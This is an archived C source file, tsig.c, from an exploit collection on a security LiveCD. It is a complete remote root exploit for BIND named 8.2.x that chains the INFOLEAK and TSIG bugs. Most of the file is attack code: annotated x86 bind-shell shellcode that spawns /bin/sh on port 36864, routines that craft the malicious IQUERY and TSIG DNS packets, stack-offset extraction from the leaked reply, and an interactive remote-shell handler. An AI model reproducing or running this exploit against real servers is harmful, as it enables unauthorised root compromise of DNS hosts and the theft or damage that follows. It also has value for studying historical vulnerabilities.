home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / dns / bind / tsig.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  16KB  |  564 lines

  1. /*
  2.  * This exploit has been fixed and extensive explanation and clarification
  3.  * added.
  4.  * Cleanup done by:
  5.  *     Ian Goldberg     <ian@cypherpunks.ca>
  6.  *     Jonathan Wilkins <jwilkins@bitland.net>
  7.  * NOTE: the default installation of RedHat 6.2 seems to not be affected
  8.  * due to the compiler options.  If BIND is built from source then the
  9.  * bug is able to manifest itself.
  10.  */
  11. /*
  12.  * Original Comment:
  13.  * lame named 8.2.x remote exploit by
  14.  *
  15.  *   Ix        [adresadeforward@yahoo.com] (the master of jmpz),
  16.  *   lucysoft    [lucysoft@hotmail.com] (the master of queries)
  17.  *
  18.  * this exploits the named INFOLEAK and TSIG bug (see http://www.isc.org/products/BIND/bind-security.html)
  19.  * linux only shellcode
  20.  * this is only for demo purposes, we are not responsable in any way for what you do with this code.
  21.  *
  22.  * flamez     - canaris
  23.  * greetz    - blizzard, netman.
  24.  * creditz    - anathema <anathema@hack.co.za> for the original shellcode
  25.  *          - additional code ripped from statdx exploit by ron1n
  26.  *
  27.  * woo, almost forgot... this exploit is pretty much broken (+4 errors), but we hope you got the idea.
  28.  * if you understand how it works, it won't be too hard to un-broke it
  29.  */
  30.  
  31. #include <unistd.h>
  32. #include <stdio.h>
  33. #include <stdlib.h>
  34. #include <signal.h>
  35. #include <time.h>
  36. #include <string.h>
  37. #include <ctype.h>
  38. #include <netdb.h>
  39. #include <netinet/in.h>
  40. #include <netinet/in_systm.h>
  41. #include <sys/time.h>
  42. #include <sys/types.h>
  43. #include <sys/socket.h>
  44. #include <arpa/inet.h>
  45. #include <arpa/nameser.h>
  46.  
  47. #define max(a,b) ((a)>(b)?(a):(b))
  48.  
  49. #define BUFFSIZE 4096
  50.  
  51. int argevdisp1, argevdisp2;
  52.  
  53. char shellcode[] =
  54. /* The numbers at the right indicate the number of bytes the call takes
  55.  * and the number of bytes used so far.  This needs to be lower than
  56.  * 62 in order to fit in a single Query Record.  2 are used in total to
  57.  * send the shell code
  58.  */
  59. /* main: */
  60. /* "callz" is more than 127 bytes away, so we jump to an intermediate
  61.    spot first */
  62. "\xeb\x44"                           /* jmp intr                */ // 2 - 2
  63. /* start: */
  64. "\x5e"                               /* popl %esi               */ // 1 - 3
  65.  
  66.   /* socket() */
  67. "\x29\xc0"                           /* subl %eax, %eax         */ // 2 - 5
  68. "\x89\x46\x10"                       /* movl %eax, 0x10(%esi)   */ // 3 - 8
  69. "\x40"                               /* incl %eax               */ // 1 - 9
  70. "\x89\xc3"                           /* movl %eax, %ebx         */ // 2 - 11
  71. "\x89\x46\x0c"                       /* movl %eax, 0x0c(%esi)   */ // 3 - 14
  72. "\x40"                               /* incl %eax               */ // 1 - 15
  73. "\x89\x46\x08"                       /* movl %eax, 0x08(%esi)   */ // 3 - 18
  74. "\x8d\x4e\x08"                       /* leal 0x08(%esi), %ecx   */ // 3 - 21
  75. "\xb0\x66"                           /* movb $0x66, %al         */ // 2 - 23
  76. "\xcd\x80"                           /* int $0x80               */ // 2 - 25
  77.  
  78.   /* bind() */
  79. "\x43"                               /* incl %ebx               */ // 1 - 26
  80. "\xc6\x46\x10\x10"                   /* movb $0x10, 0x10(%esi)  */ // 4 - 30
  81. "\x66\x89\x5e\x14"                   /* movw %bx, 0x14(%esi)    */ // 4 - 34
  82. "\x88\x46\x08"                       /* movb %al, 0x08(%esi)    */ // 3 - 37
  83. "\x29\xc0"                           /* subl %eax, %eax         */ // 2 - 39
  84. "\x89\xc2"                           /* movl %eax, %edx         */ // 2 - 41
  85. "\x89\x46\x18"                       /* movl %eax, 0x18(%esi)   */ // 3 - 44
  86. /*
  87.  * the port address in hex (0x9000 = 36864), if this is changed, then a similar
  88.  * change must be made in the connection() call
  89.  * NOTE: you only get to set the high byte
  90.  */
  91. "\xb0\x90"                           /* movb $0x90, %al         */ // 2 - 46
  92. "\x66\x89\x46\x16"                   /* movw %ax, 0x16(%esi)    */ // 4 - 50
  93. "\x8d\x4e\x14"                       /* leal 0x14(%esi), %ecx   */ // 3 - 53
  94. "\x89\x4e\x0c"                       /* movl %ecx, 0x0c(%esi)   */ // 3 - 56
  95. "\x8d\x4e\x08"                       /* leal 0x08(%esi), %ecx   */ // 3 - 59
  96.  
  97. "\xeb\x02"                           /* jmp cont                */ // 2 - 2
  98. /* intr: */
  99. "\xeb\x43"                           /* jmp callz               */ // 2 - 4
  100.  
  101. /* cont: */
  102. "\xb0\x66"                           /* movb $0x66, %al         */ // 2 - 6
  103. "\xcd\x80"                           /* int $0x80               */ // 2 - 10
  104.  
  105.   /* listen() */
  106. "\x89\x5e\x0c"                       /* movl %ebx, 0x0c(%esi)   */ // 3 - 11
  107. "\x43"                               /* incl %ebx               */ // 1 - 12
  108. "\x43"                               /* incl %ebx               */ // 1 - 13
  109. "\xb0\x66"                           /* movb $0x66, %al         */ // 2 - 15
  110. "\xcd\x80"                           /* int $0x80               */ // 2 - 17
  111.  
  112.   /* accept() */
  113. "\x89\x56\x0c"                       /* movl %edx, 0x0c(%esi)   */ // 3 - 20
  114. "\x89\x56\x10"                       /* movl %edx, 0x10(%esi)   */ // 3 - 23
  115. "\xb0\x66"                           /* movb $0x66, %al         */ // 2 - 25
  116. "\x43"                               /* incl %ebx               */ // 1 - 26
  117. "\xcd\x80"                           /* int $0x80               */ // 1 - 27
  118.  
  119.   /* dup2(s, 0); dup2(s, 1); dup2(s, 2); */
  120. "\x86\xc3"                           /* xchgb %al, %bl          */ // 2 - 29
  121. "\xb0\x3f"                           /* movb $0x3f, %al         */ // 2 - 31
  122. "\x29\xc9"                           /* subl %ecx, %ecx         */ // 2 - 33
  123. "\xcd\x80"                           /* int $0x80               */ // 2 - 35
  124. "\xb0\x3f"                           /* movb $0x3f, %al         */ // 2 - 37
  125. "\x41"                               /* incl %ecx               */ // 1 - 38
  126. "\xcd\x80"                           /* int $0x80               */ // 2 - 40
  127. "\xb0\x3f"                           /* movb $0x3f, %al         */ // 2 - 42
  128. "\x41"                               /* incl %ecx               */ // 1 - 43
  129. "\xcd\x80"                           /* int $0x80               */ // 2 - 45
  130.  
  131.   /* execve() */
  132. "\x88\x56\x07"                       /* movb %dl, 0x07(%esi)    */ // 3 - 48
  133. "\x89\x76\x0c"                       /* movl %esi, 0x0c(%esi)   */ // 3 - 51
  134. "\x87\xf3"                           /* xchgl %esi, %ebx        */ // 2 - 53
  135. "\x8d\x4b\x0c"                       /* leal 0x0c(%ebx), %ecx   */ // 3 - 56
  136. "\xb0\x0b"                           /* movb $0x0b, %al         */ // 2 - 58
  137. "\xcd\x80"                           /* int $0x80               */ // 2 - 60
  138.  
  139. "\x90"
  140.  
  141. /* callz: */
  142. "\xe8\x72\xff\xff\xff"               /* call start              */ // 5 - 5
  143. "/bin/sh"; /* There's a NUL at the end here */                     // 8 - 13
  144.  
  145. unsigned long resolve_host(char* host)
  146. {
  147.     long res;
  148.     struct hostent* he;
  149.  
  150.     if (0 > (res = inet_addr(host)))
  151.     {
  152.         if (!(he = gethostbyname(host)))
  153.             return(0);
  154.         res = *(unsigned long*)he->h_addr;
  155.     }
  156.     return(res);
  157. }
  158.  
  159. int dumpbuf(char *buff, int len)
  160. {
  161.     char line[17];
  162.     int x;
  163.  
  164.     /* print out a pretty hex dump */
  165.     for(x=0;x<len;x++){
  166.         if(!(x%16) && x){
  167.             line[16] = 0;
  168.             printf("\t%s\n", line);
  169.         }
  170.         printf("%02X ", (unsigned char)buff[x]);
  171.         if(isprint((unsigned char)buff[x]))
  172.             line[x%16]=buff[x];
  173.         else
  174.             line[x%16]='.';
  175.     }
  176.     printf("\n");
  177. }
  178.  
  179. void
  180. runshell(int sockd)
  181. {
  182.     char buff[1024];
  183.     int fmax, ret;
  184.     fd_set fds;
  185.  
  186.     fmax = max(fileno(stdin), sockd) + 1;
  187.     send(sockd, "uname -a; id;\n", 15, 0);
  188.  
  189.     for(;;)
  190.     {
  191.  
  192.         FD_ZERO(&fds);
  193.         FD_SET(fileno(stdin), &fds);
  194.         FD_SET(sockd, &fds);
  195.  
  196.         if(select(fmax, &fds, NULL, NULL, NULL) < 0)
  197.         {
  198.             exit(EXIT_FAILURE);
  199.         }
  200.  
  201.         if(FD_ISSET(sockd, &fds))
  202.         {
  203.             bzero(buff, sizeof buff);
  204.             if((ret = recv(sockd, buff, sizeof buff, 0)) < 0)
  205.             {
  206.                 exit(EXIT_FAILURE);
  207.             }
  208.             if(!ret)
  209.             {
  210.                 fprintf(stderr, "Connection closed\n");
  211.                 exit(EXIT_FAILURE);
  212.             }
  213.             write(fileno(stdout), buff, ret);
  214.         }
  215.  
  216.         if(FD_ISSET(fileno(stdin), &fds))
  217.         {
  218.             bzero(buff, sizeof buff);
  219.             ret = read(fileno(stdin), buff, sizeof buff);
  220.             if(send(sockd, buff, ret, 0) != ret)
  221.             {
  222.                 fprintf(stderr, "Transmission loss\n");
  223.                 exit(EXIT_FAILURE);
  224.             }
  225.         }
  226.     }
  227. }
  228.  
  229.  
  230. connection(struct sockaddr_in host)
  231. {
  232.     int sockd;
  233.  
  234.     host.sin_port = htons(36864);
  235.  
  236.     printf("[*] connecting..\n");
  237.     usleep(2000);
  238.  
  239.     if((sockd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
  240.     {
  241.         exit(EXIT_FAILURE);
  242.     }
  243.  
  244.     if(connect(sockd, (struct sockaddr *) &host, sizeof host) != -1)
  245.     {
  246.         printf("[*] wait for your shell..\n");
  247.         usleep(500);
  248.             runshell(sockd);
  249.     }
  250.     else
  251.     {
  252.         printf("[x] error: named not vulnerable or wrong offsets used\n");
  253.     }
  254.  
  255.     close(sockd);
  256. }
  257.  
  258.  
  259.  
  260.  
  261. int infoleak_qry(char* buff)
  262. {
  263.         HEADER* hdr;
  264.         int n, k;
  265.         char* ptr;
  266.         int qry_space = 12;
  267.         int dummy_names = 7;
  268.         int evil_size = 0xff;
  269.  
  270.         memset(buff, 0, BUFFSIZE);
  271.         hdr = (HEADER*)buff;
  272.  
  273.         hdr->id = htons(0xbeef);
  274.         hdr->opcode  = IQUERY;
  275.         hdr->rd      = 1;
  276.         hdr->ra      = 1;
  277.         hdr->qdcount = htons(0);
  278.         hdr->nscount = htons(0);
  279.         hdr->ancount = htons(1);
  280.         hdr->arcount = htons(0);
  281.  
  282.  
  283.     ptr = buff + sizeof(HEADER);
  284.     printf("[d] HEADER is %d long\n", sizeof(HEADER));
  285.     
  286.     n = 62;
  287.  
  288.     for(k=0; k < dummy_names; k++)
  289.     {
  290.         *ptr++ = n;
  291.         ptr += n;
  292.     }
  293.     ptr += 1;
  294.  
  295.         PUTSHORT(1/*ns_t_a*/, ptr);              /* type */
  296.         PUTSHORT(T_A, ptr);                      /* class */
  297.         PUTLONG(1, ptr);                        /* ttl */
  298.  
  299.     PUTSHORT(evil_size, ptr);            /* our *evil* size */
  300.     
  301.     return(ptr - buff + qry_space);
  302.     
  303. }
  304.  
  305.  
  306.  
  307. int evil_query(char* buff, int offset)
  308. {
  309.     int lameaddr, shelladdr, rroffsetidx, rrshellidx, deplshellcode, offset0;
  310.     HEADER* hdr;
  311.     char *ptr;
  312.     int k, bufflen;
  313.     u_int n, m;
  314.     u_short s;
  315.     int i;
  316.     int shelloff, shellstarted, shelldone;
  317.     int towrite, ourpack;
  318.     int n_dummy_rrs = 7;
  319.  
  320.     printf("[d] evil_query(buff, %08x)\n", offset);
  321.     printf("[d] shellcode is %d long\n", sizeof(shellcode));
  322.  
  323.     shelladdr = offset - 0x200;
  324.  
  325.         lameaddr  = shelladdr + 0x300;
  326.     
  327.     ourpack = offset - 0x250 + 2;
  328.     towrite = (offset & ~0xff) - ourpack - 6;
  329.     printf("[d] olb = %d\n", (unsigned char) (offset & 0xff));
  330.  
  331.     rroffsetidx = towrite / 70;
  332.     offset0 = towrite - rroffsetidx * 70;
  333.  
  334.     if ((offset0 > 52) || (rroffsetidx > 6))
  335.     {
  336.         printf("[x] could not write our data in buffer (offset0=%d, rroffsetidx=%d)\n", offset0, rroffsetidx);
  337.         return(-1);
  338.     }
  339.         
  340.     rrshellidx = 1;
  341.     deplshellcode = 2;
  342.     
  343.     hdr = (HEADER*)buff;
  344.     
  345.     memset(buff, 0, BUFFSIZE);
  346.     
  347.     /* complete the header */
  348.     
  349.     hdr->id = htons(0xdead);
  350.     hdr->opcode  = QUERY;
  351.     hdr->rd      = 1;
  352.     hdr->ra      = 1;
  353.     hdr->qdcount = htons(n_dummy_rrs);
  354.     hdr->ancount = htons(0);
  355.     hdr->arcount = htons(1);
  356.     
  357.     ptr = buff + sizeof(HEADER);
  358.     
  359.     shellstarted = 0;
  360.     shelldone = 0;
  361.     shelloff = 0;
  362.     
  363.     n = 63;
  364.     for (k = 0; k < n_dummy_rrs; k++)
  365.     {
  366.         *ptr++ = (char)n;
  367.         
  368.         for(i = 0; i < n-2; i++)
  369.         {
  370.             if((k == rrshellidx) && (i == deplshellcode) && !shellstarted)
  371.             {
  372.                 printf("[*] injecting shellcode at %d\n", k);
  373.                 shellstarted = 1;
  374.             }
  375.         
  376.             if ((k == rroffsetidx) && (i == offset0))
  377.             {
  378.                 *ptr++ = lameaddr & 0x000000ff;
  379.                 *ptr++ = (lameaddr & 0x0000ff00) >> 8;
  380.                 *ptr++ = (lameaddr & 0x00ff0000) >> 16;
  381.                 *ptr++ = (lameaddr & 0xff000000) >> 24;
  382.                 *ptr++ = shelladdr & 0x000000ff;
  383.                 *ptr++ = (shelladdr & 0x0000ff00) >> 8;
  384.                 *ptr++ = (shelladdr & 0x00ff0000) >> 16;
  385.                 *ptr++ = (shelladdr & 0xff000000) >> 24;
  386.                                 *ptr++ = argevdisp1 & 0x000000ff;
  387.                                 *ptr++ = (argevdisp1 & 0x0000ff00) >> 8;
  388.                                 *ptr++ = (argevdisp1 & 0x00ff0000) >> 16;
  389.                                 *ptr++ = (argevdisp1 & 0xff000000) >> 24;
  390.                                 *ptr++ = argevdisp2 & 0x000000ff;
  391.                                 *ptr++ = (argevdisp2 & 0x0000ff00) >> 8;
  392.                                 *ptr++ = (argevdisp2 & 0x00ff0000) >> 16;
  393.                                 *ptr++ = (argevdisp2 & 0xff000000) >> 24;
  394.                 i += 15;
  395.             }
  396.             else
  397.             {
  398.                 if (shellstarted && !shelldone)
  399.                 {
  400.                     *ptr++ = shellcode[shelloff++];    
  401.                     if(shelloff == (sizeof(shellcode)))
  402.                         shelldone=1;
  403.                 }
  404.                 else
  405.                 {
  406.                     *ptr++ = i;
  407.                 }
  408.             }
  409.         }
  410.         
  411.         /* OK: this next set of bytes constitutes the end of the
  412.                  *     NAME field, the QTYPE field, and the QCLASS field.
  413.                  *     We have to have the shellcode skip over these bytes,
  414.                  *     as well as the leading 0x3f (63) byte for the next
  415.                  *     NAME field.  We do that by putting a jmp instruction
  416.                  *     here.
  417.                  */
  418.         *ptr++ = 0xeb;
  419.         
  420.         if (k == 0)
  421.         {
  422.             *ptr++ = 10;
  423.             
  424.             /* For alignment reasons, we need to stick an extra
  425.                          * NAME segment in here, of length 3 (2 + header).
  426.                          */
  427.             m = 2;
  428.             *ptr++ = (char)m;        // header
  429.             ptr += 2;
  430.         }
  431.         else
  432.         {
  433.             *ptr++ = 0x07;
  434.         }
  435.         
  436.         /* End the NAME with a compressed pointer.  Note that it's
  437.                  * not clear that the value used, C0 00, is legal (it
  438.                  * points to the beginning of the packet), but BIND apparently
  439.                  * treats such things as name terminators, anyway.
  440.                  */
  441.         *ptr++ = 0xc0; /*NS_CMPRSFLGS*/
  442.         *ptr++ = 0x00; /*NS_CMPRSFLGS*/
  443.         
  444.         ptr += 4;      /* QTYPE, QCLASS */
  445.     }
  446.     
  447.     /* Now we make the TSIG AR */
  448.     *ptr++ = 0x00;       /* Empty name */
  449.  
  450.     PUTSHORT(0xfa, ptr); /* Type  TSIG */
  451.     PUTSHORT(0xff, ptr); /* Class ANY  */
  452.  
  453.     bufflen = ptr - buff;
  454.     
  455.     // dumpbuf(buff, bufflen);
  456.  
  457.     return(bufflen);
  458. }
  459.  
  460. long xtract_offset(char* buff, int len)
  461. {
  462.     long ret;
  463.     
  464.     /* Here be dragons. */
  465.     /* (But seriously, the values here depend on compilation options
  466.          *  used for BIND.
  467.          */
  468.     ret = *((long*)&buff[0x214]);
  469.     argevdisp1 = 0x080d7cd0;
  470.     argevdisp2 = *((long*)&buff[0x264]);
  471.     printf("[d] argevdisp1 = %08x, argevdisp2 = %08x\n",
  472.         argevdisp1, argevdisp2);
  473.     
  474.     // dumpbuf(buff, len);
  475.     
  476.     return(ret);
  477. }
  478.  
  479.  
  480.  
  481.  
  482. int main(int argc, char* argv[])
  483. {
  484.     struct sockaddr_in sa;
  485.     int sock;
  486.     long address;
  487.     char buff[BUFFSIZE];
  488.     int len, i;
  489.     long offset;
  490.     socklen_t reclen;
  491.     unsigned char foo[4];
  492.  
  493.     printf("[*] named 8.2.x (< 8.2.3-REL) remote root exploit by lucysoft, Ix\n");
  494.     printf("[*] fixed by ian@cypherpunks.ca and jwilkins@bitland.net\n\n");
  495.  
  496.     address = 0;
  497.     if (argc < 2)
  498.     {
  499.         printf("[*] usage : %s host\n", argv[0]);
  500.  
  501.         return(-1);
  502.     }
  503.  
  504.     if (!(address = resolve_host(argv[1])))
  505.     {
  506.         printf("[x] unable to resolve %s, try using an IP address\n", argv[1]);
  507.         return(-1);
  508.     } else {
  509.         memcpy(foo, &address, 4);
  510.         printf("[*] attacking %s (%d.%d.%d.%d)\n", argv[1], foo[0], foo[1], foo[2], foo[3]);
  511.     }
  512.     
  513.     sa.sin_family = AF_INET;
  514.  
  515.     if (0 > (sock = socket(sa.sin_family, SOCK_DGRAM, 0)))
  516.     {
  517.         return(-1);
  518.     }
  519.     
  520.     sa.sin_family = AF_INET;
  521.     sa.sin_port = htons(53);
  522.     sa.sin_addr.s_addr= address;
  523.     
  524.     
  525.     len = infoleak_qry(buff);
  526.     printf("[d] infoleak_qry was %d long\n", len);
  527.     len = sendto(sock, buff, len, 0 , (struct sockaddr *)&sa, sizeof(sa));
  528.     if (len < 0)
  529.     {
  530.         printf("[*] unable to send iquery\n");
  531.         return(-1);
  532.     }
  533.     
  534.     reclen = sizeof(sa);
  535.     len = recvfrom(sock, buff, BUFFSIZE, 0, (struct sockaddr *)&sa, &reclen);
  536.     if (len < 0)
  537.     {
  538.                 printf("[x] unable to receive iquery answer\n");
  539.                 return(-1);    
  540.     }
  541.     printf("[*] iquery resp len = %d\n", len);
  542.     
  543.     offset = xtract_offset(buff, len);
  544.     printf("[*] retrieved stack offset = %x\n", offset);
  545.     
  546.     
  547.     len = evil_query(buff, offset);
  548.     if(len < 0){
  549.         printf("[x] error sending tsig packet\n");
  550.         return(0);
  551.     }
  552.     
  553.     sendto(sock, buff, len, 0 , (struct sockaddr *)&sa, sizeof(sa));
  554.     
  555.     if (0 > close(sock))
  556.     {
  557.         return(-1);
  558.     }
  559.  
  560.     connection(sa);
  561.  
  562.     return(0);    
  563. }
  564. /*                   www.hack.co.za  [2 March 2001]*/